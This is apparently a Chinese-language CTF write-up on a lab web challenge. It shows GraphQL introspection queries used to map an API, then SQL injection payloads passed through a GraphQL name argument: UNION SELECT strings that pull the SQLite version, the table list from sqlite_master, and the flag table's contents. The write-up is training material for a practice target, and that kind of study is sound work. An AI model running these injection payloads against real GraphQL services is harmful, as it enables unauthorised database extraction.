CTF练习-Web系列-SQLI(一)

CTF学习-Web系列(一)-Graphql注入

靶场地址

http://10.0.25.109:20080/

解题过程

信息获取

首先对其搜索框进行注入点探测,服务器返回错误信息

然后查看题目前端 JS代码,观察是否存在有用接口信息。

和上面burp拦截到的请求一样,并没有发现突破点,但看到了Graphql这个关键词,于是去看了下相关知识。

第一步:构造语法查询模式和类型

1
2
3
4
5
6
7
query={
__schema {
types {
name
}
}
}

可发现API返回信息中存在Getscorebyname和Getscorebyid

第二步:查询可使用的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query={
__type(name:"Query"){
name
fields
{
name
type
{
name
kind
ofType{
name
kind
}
}
}
}
}

可通过响应包中获取到对象getscorewithname和getscorewithid

第三步:查询Getscorebyid的详细参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
query={
'__type': {
'name':'Getscorebyid',
'fields': [
{
'name':'score',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
},
{
'name':'name',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
},
{
'name':'id',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
}
]
}
}

第四步:查询Getscorebyname的详细参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
query={
'__type': {
'name':'Getscorebyname',
'fields': [
{
'name':'score',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
},
{
'name':'name',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
},
{
'name':'userid',
'type': {
'name':'String',
'kind':'SCALAR',
'ofType':None
}
}
]
}
}

注入测试

构造getscorewithid()请求数据

1
2
3
4
5
6
7
query={
getscorewithname(name:"Alice"){
name
score
}

}

返回查询结果

对getscorewithname()进行注入测试

1
2
3
4
5
6
7

query={
getscorewithname(name:"' UNION SELECT 'aaa'||'"){
name
score
}
}

响应包中返回aaa,证明查询语句成功执行,存在注入

查询数据库版本

1
2
3
4
5
6
query={
getscorewithname(name:"' UNION SELECT sqlite_version()||'"){
name
score
}
}

数据库版本为3.31.1

构造查询数据获取表名flag

1
2
3
4
5
6
query={
getscorewithname(name:"' UNION SELECT (SELECT group_concat(name,0x7e) from sqlite_master)||'"){
name
score
}
}

获取flag数据表的字段值

1
2
3
4
5
6
query={
getscorewithname(name:"' UNION SELECT (SELECT flag from flag)||'"){
name
score
}
}

得到flag为:flag{Rea1_flag_1s_Me}

参考文章

渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql注入

当CTF遇上GraphQL的那些事 (hwlanxiaojun.github.io)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信